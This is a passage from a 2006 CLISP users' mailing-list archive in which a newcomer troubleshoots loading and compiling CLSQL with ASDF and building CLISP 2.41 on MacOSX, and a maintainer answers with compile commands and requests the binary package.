"ISO-8859-15" "-Epathname" "ISO-8859-1" "-Eterminal= " "UTF-8" "-Emisc" "UTF-8" "-Eforeign" "ISO-8859-1") C/USER[137]> (print-bug-report-info) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.41 (2006-10-13) (built 3372383352) (memor= y 3372383937)" SOFTWARE-TYPE =20 "gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a li= bavcall.a libcallback.a -lreadline -lncurses -ldl -liconv -lsigsegv -L/u= sr/X11R6/lib SAFETY=3D0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS S= PVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libiconv 1.11 libreadline 5.2" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux= )" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* =20 (:COM.INFORMATIMAGO.PJB :ASDF-INSTALL :SPLIT-SEQUENCE :ASDF :WILDCARD :RA= WSOCK :PCRE :CLX-ANSI-COMMON-LISP :CLX :ZLIB :READLINE :REGEXP :SYSCALLS :I18N= :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=3DCL :INTERPRETE= R :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=3DCHARACTER :PC386 :UNIX) C/USER[138]>=20 --=20 __Pascal Bourguignon__ http://www.informatimago.com/ "Specifications are for the weak and timid!" From lisp-clisp-list@m.gmane.org Tue Dec 05 14:15:06 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GriZ8-0007tg-9W for clisp-list@lists.sourceforge.net; Tue, 05 Dec 2006 14:15:06 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GriZ7-00018x-MH for clisp-list@lists.sourceforge.net; Tue, 05 Dec 2006 14:15:06 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1GriZ3-0008RO-VN for clisp-list@lists.sourceforge.net; Tue, 05 Dec 2006 23:15:01 +0100 Received: from ironhead.xs4all.nl ([213.84.192.76]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 05 Dec 2006 23:15:01 +0100 Received: from woudshoo by ironhead.xs4all.nl with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 05 Dec 2006 23:15:01 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Wim Oudshoorn Date: Tue, 05 Dec 2006 23:08:36 +0100 Lines: 56 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ironhead.xs4all.nl User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/22.0.50 (darwin) Cancel-Lock: sha1:EJEfwj6aMVtO4S2ChrjB+hJqg8o= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Dec 2006 22:15:06 -0000 I just started using common lisp and clisp and am playing with program that extracts information from a database. For this I use clsql and load it by using asdf. My little program starts with: (require 'asdf) (asdf:operate 'asdf:load-op 'clsql-sqlite3) (asdf:operate 'asdf:load-op 'clsql) Everything works, but: 1 - If I run it from the command line as: clisp -i my-program.lisp it will take 9.6 seconds before clsql is loaded. 2 - If compile everything with clisp -i my-program.lisp -x '(saveinitmem "mtn-exp" :executable t :norc t) and run the program ./mtn-exp everything is loaded in 0.125 seconds. BUT when I in the resulting repl execute (clsql:connect ...) I get: ** - Continuable Error FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in library :DEFAULT If you continue (by typing 'continue'): Skip foreign object creation The following restarts are also available: ABORT :R1 ABORT Break 1 [2]> If I type "continue" at the prompt it still works. But of course I don't want to type "continue" everytime a ffi call takes place. So my question is: How do I get the load performance which I have with compilation and not the annoying errors. Wim Oudshoorn. From sds@gnu.org Tue Dec 05 18:15:53 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GrmK9-0005L0-DC for clisp-list@lists.sourceforge.net; Tue, 05 Dec 2006 18:15:53 -0800 Received: from mta2.srv.hcvlny.cv.net ([167.206.4.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GrmK6-0007J0-Rm for clisp-list@lists.sourceforge.net; Tue, 05 Dec 2006 18:15:53 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta2.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J9T0022XYA4FJK4@mta2.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Tue, 05 Dec 2006 21:15:40 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id E6F7821E00A; Tue, 05 Dec 2006 21:15:39 -0500 (EST) Date: Tue, 05 Dec 2006 21:15:39 -0500 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Wim Oudshoorn Mail-followup-to: clisp-list@lists.sourceforge.net, Wim Oudshoorn Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.91 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Dec 2006 02:15:53 -0000 > * Wim Oudshoorn [2006-12-05 23:08:36 +0100]: > > I just started using common lisp and clisp and am playing with > program that extracts information from a database. > > For this I use clsql and load it by using asdf. > > My little program starts with: > > (require 'asdf) > > (asdf:operate 'asdf:load-op 'clsql-sqlite3) > (asdf:operate 'asdf:load-op 'clsql) > > > Everything works, but: > > 1 - If I run it from the command line as: > > clisp -i my-program.lisp > > it will take 9.6 seconds before clsql is loaded. try clisp -c my-program clisp -i my-program > 2 - If compile everything with > clisp -i my-program.lisp -x '(saveinitmem "mtn-exp" :executable t :norc t) you are not compiling, you are saving a memory image. > > How do I get the load performance which I have with compilation > and not the annoying errors. clisp -x '(require (quote asdf)) (saveinitmem "clisp-asdf" :executable t)' clisp-asdf -c my-program clisp-asdf -i my-program note that "-c" will compile my-program.lisp into my-program.fas and "-i" will now load my-program.fas instead of my-program.lisp -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://dhimmi.com http://camera.org http://truepeace.org http://palestinefacts.org http://thereligionofpeace.com http://memri.org char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From lisp-clisp-list@m.gmane.org Wed Dec 06 03:36:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Grv58-0006Bz-34 for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 03:36:58 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Grv56-00041u-3u for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 03:36:57 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Grv4w-0003Nl-G7 for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 12:36:46 +0100 Received: from stugw.infor.com ([194.99.90.2]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 06 Dec 2006 12:36:46 +0100 Received: from woudshoo by stugw.infor.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 06 Dec 2006 12:36:46 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Wim Oudshoorn Date: Wed, 06 Dec 2006 12:36:37 +0100 Lines: 75 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: stugw.infor.com User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/22.0.50 (darwin) Cancel-Lock: sha1:+yc82SuPP0oUqGv3E+1ov+0QgcY= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Dec 2006 11:36:58 -0000 Thank you for the explanation. But as detailed below, it still does not solve my problems. I am sure it is a small thing, but everything being new I feel like a fish out of the water (stuck). Sam Steingold writes: >> * Wim Oudshoorn [2006-12-05 23:08:36 +0100]: >> >> My little program starts with: >> >> (require 'asdf) >> >> (asdf:operate 'asdf:load-op 'clsql-sqlite3) >> (asdf:operate 'asdf:load-op 'clsql) >> >> >> Everything works, but: >> >> 1 - If I run it from the command line as: >> >> clisp -i my-program.lisp >> >> it will take 9.6 seconds before clsql is loaded. > > try > clisp -c my-program > clisp -i my-program I tried that first, but when I do the clisp -c I get the error: ;; Loading file /Users/woudshoo/.clisprc ... ;; Loading file /Users/woudshoo/lisp/asdf.lisp ... ;; Loaded file /Users/woudshoo/lisp/asdf.lisp ;; Loaded file /Users/woudshoo/.clisprc ;; Compiling file /Users/woudshoo/lisp/monotone-experiment.lisp ... *** - READ from #: there is no package with name "CLSQL" 0 errors, 0 warnings And for this I don't know where to start. It seems that my .clisprc is loaded and this sets the asdf repository path (or whatever that is called.) When I do clisp -i it works, interactively it works and with -c it does not work. >> How do I get the load performance which I have with compilation >> and not the annoying errors. > > clisp -x '(require (quote asdf)) (saveinitmem "clisp-asdf" :executable t)' Hm, this works. But it is not the loading of the asdf.lisp file that takes time. It is the loading of clsql package that takes time. > clisp-asdf -c my-program Same error as above Oh just in case it is relevant: nelly:~/lisp woudshoo$ clisp --version GNU CLISP 2.41 (2006-10-13) (built on nelly.oudshoorn.nl [10.0.0.11]) Software: GNU C 4.0.0 20041026 (Apple Computer, Inc. build 4061) gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -L/usr/local/lib -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libiconv 1.9 libreadline 5.1 Features: (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER UNIX MACOS) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /usr/local/lib/clisp/ User language: ENGLISH Machine: POWER MACINTOSH (POWER MACINTOSH) rtr-mpls0-rij-nl.agilisys.net [10.48.12.3] From sds@gnu.org Wed Dec 06 06:43:03 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GrxzD-0007Ql-1a for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 06:43:03 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GrxzC-00057F-Ht for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 06:43:02 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A6EC0D48; Wed, 06 Dec 2006 09:42:52 -0500 Message-ID: <4576D6EB.2040901@gnu.org> Date: Wed, 06 Dec 2006 09:42:51 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Wim Oudshoorn , clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Dec 2006 14:43:03 -0000 Wim Oudshoorn wrote: > Sam Steingold writes: >>> * Wim Oudshoorn [2006-12-05 23:08:36 +0100]: >>> >>> My little program starts with: >>> >>> (require 'asdf) >>> >>> (asdf:operate 'asdf:load-op 'clsql-sqlite3) >>> (asdf:operate 'asdf:load-op 'clsql) please do (asdf:operate 'asdf:compile-op 'clsql-sqlite3) (asdf:operate 'asdf:compile-op 'clsql) once. it might be that you are loading uncompiled code. >> try >> clisp -c my-program >> clisp -i my-program > > I tried that first, but when I do the clisp -c I get the error: > > ;; Loading file /Users/woudshoo/.clisprc ... > ;; Loading file /Users/woudshoo/lisp/asdf.lisp ... > ;; Loaded file /Users/woudshoo/lisp/asdf.lisp this is no good. please compile asdf.lisp ! clisp -q -c ~/lisp/asdf.lisp > ;; Loaded file /Users/woudshoo/.clisprc > ;; Compiling file /Users/woudshoo/lisp/monotone-experiment.lisp ... > *** - READ from #: there is no package with > name "CLSQL" > > 0 errors, 0 warnings you need to load CLSQL before compiling monotone-experiment.lisp > It is the loading of clsql package that takes time. it should be better once you compile clsql. > Oh just in case it is relevant: always! > nelly:~/lisp woudshoo$ clisp --version > GNU CLISP 2.41 (2006-10-13) (built on nelly.oudshoorn.nl [10.0.0.11]) > Software: GNU C 4.0.0 20041026 (Apple Computer, Inc. build 4061) Could you please make the binary package available to me? I want to publish it in the CLISP SF files section. You will need to add "rawsock" and "libsvm" to "MODULES=" line in your Makefile, do "make distrib" and upload the file clisp-2.41-powerpc-apple...tar.gz to upload.sf.net:/incoming you will be credited in http://sourceforge.net/project/shownotes.php?release_id=455105&group_id=1355 Thanks. Sam. From lisp-clisp-list@m.gmane.org Wed Dec 06 13:21:50 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gs4D7-0007Ow-Ua for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 13:21:50 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gs4Cw-00067M-Vh for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 13:21:46 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Gs4Cc-0002ao-FI for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 22:21:20 +0100 Received: from ironhead.xs4all.nl ([213.84.192.76]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 06 Dec 2006 22:21:18 +0100 Received: from woudshoo by ironhead.xs4all.nl with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 06 Dec 2006 22:21:18 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Wim Oudshoorn Date: Wed, 06 Dec 2006 22:21:02 +0100 Lines: 83 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ironhead.xs4all.nl User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/22.0.50 (darwin) Cancel-Lock: sha1:g601wJe62ksoCYT2EgLWouu1X1E= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] MacOSX version clisp 2.41 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Dec 2006 21:21:50 -0000 I compiled clisp 2.41 and uploaded it to upload.sf.net File name and checksum: MD5 (clisp-2.41-powerpc-apple-darwin8.7.0-8.7.0.tar.gz) = dee9478067bd7ee3d1cc18c3d31a0119 But compilation did not go completely smoothly. I configured with LDFLAGS=-L/usr/local/lib CPPFLAGS=-I/usr/local/include ./configure --with-module=rawsock --with-module=libsvm and followed the adviced procedure for creating the makefile, config.lisp etc. For every command I added the LDFLAGS... CPPFLAGS... to make sure that the environment was consistent. However when doing: LDFLAGS=-L/usr/local/lib CPPFLAGS=-I/usr/local/include make everything went fine upto "i18n" than it bailed out with the following error: ========== configure: loading cache ../config.cache configure: error: `CPPFLAGS' has changed since the previous run: configure: former value: -I/usr/local/include configure: current value: -I/usr/local/include configure: error: changes in the environment can compromise the build configure: error: run `make distclean' and/or `rm ../config.cache' and start over make: *** [i18n] Error 1 ========== So I did: nelly:~/src/clisp-2.41/src woudshoo$ rm config.cache nelly:~/src/clisp-2.41/src woudshoo$ LDFLAGS=-L/usr/local/lib CPPFLAGS=-I/usr/local/include make And i18n was happy. The following problem occured for libsvm. This did not compile because the makefile had the following fragment: ============ svm.so : svm.cpp svm.h $(CXX) $(CPPFLAGS) $(CXXFLAGS) -I$(INCLUDES) \ -fPIC -shared -o svm.so svm.cpp -lm ============ and on MacOSX the compiler does not understand the option -shared so I replaced this with: ============ svm.so : svm.cpp svm.h $(CXX) $(CPPFLAGS) $(CXXFLAGS) -I$(INCLUDES) \ -dynamiclib -o svm.so svm.cpp -lm ============ Finally everything compiles. LDFLAGS=-L/usr/local/lib CPPFLAGS=-I/usr/local/include make check works and indicates that all test pass. However I am still worried, when I run clisp --version I get: ============= nelly:~/src/clisp-2.41/src woudshoo$ ./clisp --version GNU CLISP 2.41 (2006-10-13) (built 3374425784) (memory 3374427671) Software: GNU C 4.0.0 20041026 (Apple Computer, Inc. build 4061) gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -L/usr/local/lib -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libiconv 1.9 libreadline 5.1 Features: (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER UNIX MACOS) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /Users/woudshoo/src/clisp-2.41/src/ User language: ENGLISH Machine: POWER MACINTOSH (POWER MACINTOSH) nelly.oudshoorn.nl [10.0.0.13] ============ But I can't find any reference in the output to rawsock nor to libsvm. Is this correct? Is there any way I can check that they are really included? Wim Oudshoorn. From lisp-clisp-list@m.gmane.org Wed Dec 06 15:34:18 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gs6HK-0003t6-El for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 15:34:18 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gs6HJ-0008B8-BM for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 15:34:18 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Gs6H3-0002NC-Sm for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 00:34:01 +0100 Received: from ironhead.xs4all.nl ([213.84.192.76]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 07 Dec 2006 00:34:01 +0100 Received: from woudshoo by ironhead.xs4all.nl with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 07 Dec 2006 00:34:01 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Wim Oudshoorn Date: Thu, 07 Dec 2006 00:33:29 +0100 Lines: 127 Message-ID: References: <4576D6EB.2040901@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ironhead.xs4all.nl User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/22.0.50 (darwin) Cancel-Lock: sha1:/z5my3lMPkaknWYZJJc9ekvrDC0= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Dec 2006 23:34:18 -0000 Sam Steingold writes: > Wim Oudshoorn wrote: >> Sam Steingold writes: > > please do > (asdf:operate 'asdf:compile-op 'clsql-sqlite3) > (asdf:operate 'asdf:compile-op 'clsql) > once. Done. >> I tried that first, but when I do the clisp -c I get the error: >> >> ;; Loading file /Users/woudshoo/.clisprc ... >> ;; Loading file /Users/woudshoo/lisp/asdf.lisp ... >> ;; Loaded file /Users/woudshoo/lisp/asdf.lisp > > this is no good. > please compile asdf.lisp ! > clisp -q -c ~/lisp/asdf.lisp Done. > >> ;; Loaded file /Users/woudshoo/.clisprc >> ;; Compiling file /Users/woudshoo/lisp/monotone-experiment.lisp ... >> *** - READ from #: there is no package with >> name "CLSQL" >> >> 0 errors, 0 warnings > > you need to load CLSQL before compiling monotone-experiment.lisp Hm, how do I do that? >> It is the loading of clsql package that takes time. > > it should be better once you compile clsql. I still takes about 6 secs to load all the .fas files on my ccomputer. > Could you please make the binary package available to me? I have written another post about that. Back to my problems. There are some concepts I am apparantly not grasping. And I can't seem to findd the right place in the documentation to enlighten me. So any pointers appreciated. Question/Problem 1: in the directory ~/lisp/ I have the files asdf.lisp, asdf.fas and asdf.lib And if I do the following: nelly:~/lisp woudshoo$ clisp -q -norc [1]> (require 'asdf) *** - LOAD: A file with name ASDF does not exist The following restarts are available: ABORT :R1 ABORT Break 1 [2]> I expected require to look for asdf.fas or asdf.lisp, but it seems not to find it. So what does require exactly do? in the CLHS it says that how require finds its files is implementation dependend so why does this not work. Question/Problem 2: I created a file test-load.lisp with the following content: (load "asdf") (setf asdf:*central-registry* '(*default-pathname-defaults* #p"~/lisp-asdf/")) (asdf:operate 'asdf:load-op 'clsql) Now if I load the file it works: clisp -q -norc test-load.lisp ============================================ nelly:~/lisp woudshoo$ clisp -q -norc test-load.lisp ; loading system definition from /Users/woudshoo/lisp-asdf/clsql.asd into # ; loading system definition from /Users/woudshoo/lisp-asdf/cffi.asd into # ; registering # as CFFI 0 errors, 0 warnings ; loading system definition from /Users/woudshoo/lisp-asdf/cffi-uffi-compat.asd into # ; registering # as CFFI-UFFI-COMPAT WARNING: The generic function # is being modified, but has already been called. 0 errors, 0 warnings ; registering # as UFFI ; registering # as CLSQL WARNING: The generic function # is being modified, but has already been called. WARNING: DEFUN/DEFMACRO: redefining macro LOOP-FINISH in /Users/woudshoo/lisp-asdf/clsql-3.7.8/sql/ansi-loop.fas, was defined in /Users/woudshoo/src/clisp-2.41/src/loop.fas WARNING: DEFUN/DEFMACRO: redefining macro LOOP in /Users/woudshoo/lisp-asdf/clsql-3.7.8/sql/ansi-loop.fas, was defined in /Users/woudshoo/src/clisp-2.41/src/loop.fas 0 errors, 0 warnings =========================================== But if I compile the file clisp -q -norc -c test-load.lisp =========================================== nelly:~/lisp woudshoo$ clisp -q -norc -c test-load.lisp ;; Compiling file /Users/woudshoo/lisp/test-load.lisp ... *** - READ from #: there is no package with name "ASDF" 0 errors, 0 warnings =========================================== So perhaps I am confused about what compilation is. Let me see if I can explain. I expect compilation to take the source file and compile it in some other form lets say a .fas file, so that when I load that file I am in exactly the same situation as after loading the original .lisp file, except that everything will work faster. This is obviously not the case with my test-load.lisp. So what does compile do? A very confused, Wim Oudshoorn. From sds@gnu.org Wed Dec 06 15:43:09 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gs6Pt-0004qw-8E for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 15:43:09 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gs6Pp-0002OH-QR for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 15:43:09 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A5810DAC; Wed, 06 Dec 2006 18:42:57 -0500 Message-ID: <45775581.4040707@gnu.org> Date: Wed, 06 Dec 2006 18:42:57 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Wim Oudshoorn , clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: Re: [clisp-list] MacOSX version clisp 2.41 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Dec 2006 23:43:10 -0000 Wim Oudshoorn wrote: > I compiled clisp 2.41 and uploaded it to upload.sf.net thanks, it is now available for download > ========== > configure: loading cache ../config.cache > configure: error: `CPPFLAGS' has changed since the previous run: > configure: former value: -I/usr/local/include > configure: current value: -I/usr/local/include > configure: error: changes in the environment can compromise the build > configure: error: run `make distclean' and/or `rm ../config.cache' and start over > make: *** [i18n] Error 1 > ========== fixed on 2006-10-21 in the CVS. > The following problem occured for libsvm. This did not compile because the makefile had > the following fragment: > > ============ > svm.so : svm.cpp svm.h > $(CXX) $(CPPFLAGS) $(CXXFLAGS) -I$(INCLUDES) \ > -fPIC -shared -o svm.so svm.cpp -lm > ============ > > and on MacOSX the compiler does not understand the option -shared so I > replaced this with: > > ============ > svm.so : svm.cpp svm.h > $(CXX) $(CPPFLAGS) $(CXXFLAGS) -I$(INCLUDES) \ > -dynamiclib -o svm.so svm.cpp -lm > ============ yes, this needs fixing... > However I am still worried, when I run clisp --version I get: > > ============= > nelly:~/src/clisp-2.41/src woudshoo$ ./clisp --version > GNU CLISP 2.41 (2006-10-13) (built 3374425784) (memory 3374427671) > Software: GNU C 4.0.0 20041026 (Apple Computer, 